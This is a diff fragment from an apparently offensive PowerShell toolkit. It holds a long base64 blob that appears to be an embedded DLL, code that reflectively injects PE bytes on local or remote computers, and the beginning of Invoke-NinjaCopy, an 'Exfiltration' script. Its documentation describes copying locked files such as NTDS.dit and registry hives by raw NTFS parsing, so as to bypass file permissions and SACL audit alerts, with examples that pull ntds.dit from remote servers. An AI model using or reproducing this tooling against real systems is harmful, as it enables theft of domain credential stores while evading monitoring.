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EQ0SDRMNFA0VDRYNFw0YDRkNGg0eDR8NIA0hDSINIw0kDScNKA0pDSoNKw0sDS0NNg03DTkNOg08DT0NPg0/DQANQQ1CDUMNRA1FDUYNRw1yDXMNdA11DXYNdw14DXkNeg17DXwNfQ1+DX8NQA2BDYINgw2EDYUNhg2HDYgNiQ2KDYsNjA2NDY4Njw2QDZENkg2TDZQNlQ2WDZcNmA2ZDZoNmw2cDZ0Nng2fDaANoQ2iDaMNpA2lDaYNpw2oDakNqg2rDawNrQ2uDa8NsA2xDbINsw20DbUNtg23DbgNuQ2/DYANwQ3CDcMN2g3cDd0N3g3fDeAN4Q3iDeMN5A3lDeYN5w3oDekN6g3rDewOLQ4uDi8OAAAAPADADwAAADYMNww4DDMPdQ93D3kPew99D38PQQ+DD4UPhw+JD4sPjQ+PD5EPkw+VD5cPmQ+bD50PgAAAAAEALgAAAAINRA1GDUgNSg1MDU4NUA1SDVQNVg1YDVoNXA1eDWANYg1kDWYNaA1qDWwNbg1wDXINdA12DXgNeg18DX4NQA2CDYQNhg2IDYoNjA2ODZANkg2UDZYNmA2aDZwNng2gDaINpA2mDagNqg2sDa4NsA2yDbQNtg24DboNvA2+DYANwg3EDcYNyA3KDcwNzg3QDdIN1A3WDdgN2g3cDd4N4A3iDeQN5g3oDeoN7A3uDfANwAQBAAQAQAA0DHUMdgx3DHgMeQx6DHsMfAx9DH4MfwxADIEMggyDDIQMhQyGDIcMiAyJDIoMiwyMDI0MjgyPDJAMkQySDJMMlAyVDJYMlwyYDJkMmgybDJwMnQyeDJ8MoAyhDKIMowykDKUMpgynDKgMqQyqDKsMrAytDK4MrwywDLEMsgyzDLQMtQy2DLcMuAy5DLoMuwy8DL0Mvgy/DIAMwQzCDMMMxAzFDMYMxwzIDMkMygzLDMwMzQzODM8M0AzRDNIM0wzUDOAN4Q3iDeMN5A3lDeYN5w3oDekN6g3rDewN7Q3uDe8N8A3xDfIN8w30DfUN9g33DfgN+Q36DfsN/A39Df4N/w3ADgEOAg4ACAEADAAAAD0MPgw/DAAMXw9gD3wPvQ++D78PgA/BD8IPww/ED8UPxg/HD8gPwAAADAEAAwAAACcOaA5AIAEAJQAAAAANgQ2CDYMNhA2FDYYNhw2IDYkNig2LDYwNjQ2ODY8NkA2RDZINkw2UDZUNlg2XDZgNmQ2aDZsNnA2dDZ4Nnw2gDaENog2jDaQNpQ2mDacNqA2pDawNrQ2uDa8NsA2xDbINsw20DbUNtg23DbgNuQ26DbsNvA29Db4Nvw2ADcENwg3DDcQNxQ3GDcAAACgBAAQAQAAlDqYOqw6sDrAOsQ6zDrkOvQ6+DoIOww7EDsYOzA7QDtEO1Q7WDtcO2Q7fDuMO5A7oDukO6g7rDu0O8w73DvgO/A79Dv4OwA8GDwoPCw8PDxAPEQ8TDxkPHQ8eDyIPIw8kDyUPJw8tDzEPMg82DzcPOA85DzsPAQ9FD0YPSg9LD0wPTg9UD1gPWQ9aD1wPYg9mD2cPaw9sD20Pbg9wD3YPeg97D38PQA+ED4UPhg+ID44Pkg+TD5cPmA+aD6APpA+lD6kPqg+rD60Psw+3D7gPvA+9D74PgA/GD8oPyw/PD9AP0Q/TD9kP3Q/eD+IP4w/kD+UP5g/oD+4P8g/zD/cP+A/5D/oP/A/ALAEAIgCAAAIMBgwHDAsMDAwNDA4MEAwWDBoMGwwcDB4MJAwoDCkMLQwuDDAMNgw6DDsMPwwADEEMQwxJDE0MTgxSDFMMVAxVDFYMVwxZDF8MYwxkDGgMaQxqDGwMcgx2DHcMewx8DH0Mfgx/DEEMhwyIDI4MjwyVDJYMnAygDKEMpQymDKgMrgyyDLMMtwy4DLkMugy8DIIMxgzHDMsMzAzNDM8M1QzZDNoM3AziDOMM6QztDO4M8gzzDPQM9gz8DMANAQ0DDQkNDQ0ODRINEw0UDRUNFg0XDRgNGQ0aDRsNHA0eDSQNKA0pDS0NLg0vDTANMQ0yDTMNNA01DTYNOA0+DT8NBQ1JDUoNTg1PDVANUQ1SDVQNWg1eDV8NYw1kDWYNbA1wDXENdQ12DXcNeQ1/DUMNhA2IDYkNiw2RDZUNlg2aDZsNnA2eDaQNqA2pDa0Nrg2vDbENtw27DbwNgA3BDcINww3FDcsNzw3QDdQN1Q3WDdcN2A3ZDdoN2w3cDd0N3g3gDeYN6g3rDe8N8A3xDfMN+Q39Df4Nwg4DDgQOBQ4GDgcOCA4JDgoOCw4NDhMOFA4aDh4OHw4jDiQOJQ4mDicOKQ4vDjMONA44DjkOOg47DjwOPg4EDkUOSw5PDlAOVA5VDlcOXQ5hDmIOZg5nDmgOaQ5rDnEOSw7ODtYO2A7bDuMO6A7qDuwO7g7vDvAO8g73DvkO+w79Dv4O/w7BDwYPCA8LDxMPFg8eDyEPKQ8sDzQPNw8ED0wPVA9cD2QPbA9vD3YPeQ98D0QPjA+UD5sPnA+kD6YPpw+tD64Psg+7D74PgA/MD84Pzw/VD9YP3Q/eD+AP4g/kD+UP5w/sD/QP/A/AMAEAIwBAAAQMDAwPDBYMHgwmDC4MNgw+DAYMSQxQDFMMWgxiDGoMcgx6DEIMigySDJkMmgyiDKoMsgy6DL0MhAzLDMwM0wzUDNwM5AzsDPQM/AzDDQQNBg0LDQ0NEg0UDRUNFw0ZDRsNIA0iDScNKQ0qDSsNLA0uDTANMg03DTkNOg08DT4NAA1FDUcNSA1KDUwNVA1ZDVwNXg1qDW8Ncg10DUANhQ2IDYoNlg2bDZ4NoA2sDbENtA22DYINxw3KDcwN2A3dDeAN4g3uDfMN9g34DcQOCQ4MDg4OGg4fDiIOJA40DjgOPQ4CDkUORw5XDlsOYA5lDmgOag52DnsOfg5ADowOkQ6UDpYOog6nDqoOrA64Dr0OgA7CDs4O0w7WDtgO5A7pDuwO7g76Dv8Owg8EDxAPFQ8YDxoPJg8rDy4PMA88DwEPRA9GD1IPVw9aD1wPaA9tD3APcg9+D0MPhg+ID5QPmQ+cD54Pqg+vD7IPtA+AD8UPyA/KD9YP2w/eD+AP7A/xD/QP9g/ANAEADgBAAAIMBwwKDAwMGAwdDCAMIgwuDDMMNgw4DAQMSQxMDE4MWgxfDGIMZAxwDHUMeAx6DEYMiwyODJAMnAyhDKQMpgyyDLcMugy8DIgMzQzQDNIM3gzjDOYM6Az0DPkM/Az+DMoNDw0SDRQNIA0lDSgNKg02DTsNPg0ADUwNUQ1UDVYNYg1nDWoNbA14DX0NQA2CDY4Nkw2WDZgNpA2pDawNrg26Db8Ngg3EDdAN1Q3YDdoN5g3rDe4N8A38DcEOBA4GDhIOFw4aDhwOKA4tDjAOMg4+DgMORg5IDlQOWQ5cDl4Oag5vDnIOdA5ADoUOiA6KDpYOmw6eDqAOrA6xDrQOtg6CDscOyg7MDtgO3Q7gDuIO7g7zDvYO+A7EDwkPDA8ODxoPHw8iDyQPMA81DzgPOg8AAAFADQBAAAAMCQwUDB8MKgwrDCwMLQwuDC8MMAwyDDsMAwxLDFQMYwxrDFIMkwyUDJUMlgyXDJgMmQyaDJsMngyfDKAMoQyiDKMMpAylDKYMqAyuDLAMjg1sDbYNtw29Db4Ngg3DDcQNxQ3GDccNyA3JDcoNyw3MDc0Nzg3PDdAN0Q3SDdMN1A3VDdYN1w3YDdkN2g3bDdwN3Q3eDd8N4A3hDeIN4w3kDeUN5g3nDegN6Q3qDesN7A3wDfEN8g3zDfQN9Q32DfcN+A35DfoN+w38Df0N/g3/DcAOAQ4CDgMOBA4FDgYOBw4IDgkOCg4LDgwODQ4ODg8OEA4RDhIOEw4UDhUOFg4XDhgOGQ4aDjIONg46Dj4OAg5LDk4OTw5QDlEOUg5TDlQOcg+7D/0P/w/AAAAEAUAQAEAAAQwDDAUMBwwJDAsMDQwPDBEMEwwVDBcMGQwbDB0MHwwhDCMMJQwnDCkMKwwtDC8MMQwzDAgMiQyKDIsMjAyNDI4MjwyQDJEMkgyTDJQMlQyWDJcMmAyZDJoMmwycDJ0MngyfDKAMoQyiDKMMpAylDKYMpwyoDKkMqgyrDKwMrQyuDK8MsAyxDLIMswy4DLkMugy7DLwMvQy+DL8MgAzBDM0Nlg2sDbQNvA2EDdoN7g39Dc0OGw4iDikOMQ44DgEOSQ5QDlgObQ59DmIOpA6lDqYOpw6oDqkOqg6rDqwOrQ6uDq8OsA6xDrIOsw60DrUOtg63DrgOuQ66DrsOvA69Dr4Ovw6ADsEOwg7DDsQOxQ7GDscOyA7JDsoOyw7YDt4O9A76DsIPFw8eDzIPBg9VD2QPcw9CD4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + + if ($ComputerName -eq $null -or $ComputerName -imatch "^\s*$") + { + Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes64, $PEBytes32, "Void", 0, "", $ExeArgs) + } + else + { + Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes64, $PEBytes32, "Void", 0, "", $ExeArgs) -ComputerName $ComputerName + } +} + +Main +} \ No newline at end of file diff --git a/Exfiltration/Invoke-NinjaCopy.ps1 b/Exfiltration/Invoke-NinjaCopy.ps1 new file mode 100644 index 00000000..68e7d81e --- /dev/null +++ b/Exfiltration/Invoke-NinjaCopy.ps1 @@ -0,0 +1,2848 @@ +function Invoke-NinjaCopy +{ +<# +.SYNOPSIS + +This script can copy files off an NTFS volume by opening a read handle to the entire volume (such as c:) and parsing the NTFS structures. This requires you +are an administrator of the server. This allows you to bypass the following protections: + 1. Files which are opened by a process and cannot be opened by other processes, such as the NTDS.dit file or SYSTEM registry hives + 2. SACL flag set on a file to alert when the file is opened (I'm not using a Win32 API to open the file, so Windows has no clue) + 3. Bypass DACL's, such as a DACL which only allows SYSTEM to open a file + +If the LocalDestination param is specified, the file will be copied to the file path specified on the local server (the server the script is being run from). +If the RemoteDestination param is specified, the file will be copied to the file path specified on the remote server. + +The script works by opening a read handle to the volume (which if logged, may stand out, but I don't think most people log this and other processes do it too). +The script then uses NTFS parsing code written by cyb70289 and posted to CodePlex to parse the NTFS structures. Since the NTFS parsing code is written +in C++, I have compiled the code to a DLL and load it reflective in to PowerShell using the Invoke-ReflectivePEInjection.ps1 script (see below for a link +to the original script). + +Script: Invoke-NinjaCopy.ps1 +Author: Joe Bialek, Twitter: @JosephBialek +Contributors: This script has a byte array hardcoded, which contains a DLL wich parses NTFS. This NTFS parsing code was written by cyb70289 + See the following link: http://www.codeproject.com/Articles/81456/An-NTFS-Parser-Lib + The source code is also available with the distribution of this script. +License: GPLv3 or later +Required Dependencies: None +Optional Dependencies: None +Version: 1.0 +ReflectivePEInjection version: 1.0 + +.DESCRIPTION + +Copies a file from an NTFS partitioned volume by reading the raw volume and parsing the NTFS structures. This bypasses file DACL's, +read handle locks, and SACL's. You must be an administrator to run the script. This can be used to read SYSTEM files which are normally +locked, such as the NTDS.dit file or registry hives. + + +.PARAMETER Path + +The full path of the file to copy (example: c:\filedir\file.txt) + +.PARAMETER LocalDestination + +Optional, a file path to copy the file to on the local computer. If this isn't used, RemoteDestination must be specified. + +.PARAMETER RemoteDestination + +Optional, a file path to copy the file to on the remote computer. If this isn't used, LocalDestination must be specified. + +.PARAMETER BufferSize + +Optional, how many bytes to read at a time from the file. The default is 5MB. + +PowerShell will allocate a Byte[] equal to the size of this buffer, so setting this too high can cause PowerShell to use a LOT of RAM. It's +your job to figure out what "too high" is for your situation. + +.PARAMETER ComputerName + +Optional, an array of computernames to run the script on. + + +.EXAMPLE + +Read the file ntds.dit from a remote server and write it to c:\test\ntds.dit on the local server +$NtdsBytes = Invoke-NinjaCopy -Path "c:\windows\ntds\ntds.dit" -ComputerName "Server1" -LocalDestination "c:\test\ntds.dit" + +.EXAMPLE + +Read the file ntds.dit from a remote server and copy it to the temp directory on the remote server. +Invoke-NinjaCopy -Path "c:\windows\ntds\ntds.dit" -RemoteDestination "c:\windows\temp\ntds.dit" -ComputerName "Server1" + +.EXAMPLE + +Read the file ntds.dit from the local server and copy it to the temp directory on the local server. +Invoke-NinjaCopy -Path "c:\windows\ntds\ntds.dit" -LocalDestination "c:\windows\temp\ntds.dit" + + +.NOTES +This script combines two programs. The first is Invoke-ReflectivePEInjection, links can be found below to the original source. +This is a PowerShell script which can reflectively load EXE's/DLL's. + +The second program is NTFS parsing code written in C++ by cyb70289 and posted to CodeProject. I have compiled this +code as a DLL so it can be reflectively loaded by the PowerShell script. +The CodeProject code can be found here: http://www.codeproject.com/Articles/81456/An-NTFS-Parser-Lib + +.LINK + +Blog: http://clymb3r.wordpress.com/ +Github repo: https://github.com/clymb3r/PowerShell +NTFS Parsing Code: http://www.codeproject.com/Articles/81456/An-NTFS-Parser-Lib + +Blog on reflective loading: http://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/ + +#> + +[CmdletBinding()] +Param( + [Parameter(Position = 0, Mandatory = $true)] + [String] + $Path, + + [Parameter(Position = 1, ParameterSetName="RemoteDest")] + [String] + $RemoteDestination, + + [Parameter(Position = 1, ParameterSetName="LocalDest")] + [String] + $LocalDestination, + + [Parameter(Position = 2)] + [String[]] + $ComputerName, + + [Parameter(Position = 3)] + [UInt32] + $BufferSize = 5 * 1024 * 1024 +) + +Set-StrictMode -Version 2 + + +$RemoteScriptBlock = { + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $true)] + [String] + $PEBytes32, + + [Parameter(Position = 1, Mandatory = $true)] + [String] + $PEBytes64, + + [Parameter(Position = 2, Mandatory = $true)] + [String] + $Path, + + [Parameter(Position = 3)] + [String] + $RemoteDestination, + + [Parameter(Position = 4)] + [UInt32] + $BufferSize, + + [Parameter(Position = 5)] + [UInt64] + $FileOffset + ) + + ################################### + ########## Win32 Stuff ########## + ################################### + Function Get-Win32Types + { + $Win32Types = New-Object System.Object + + #Define all the structures/enums that will be used + # This article shows you how to do this with reflection: http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html + $Domain = [AppDomain]::CurrentDomain + 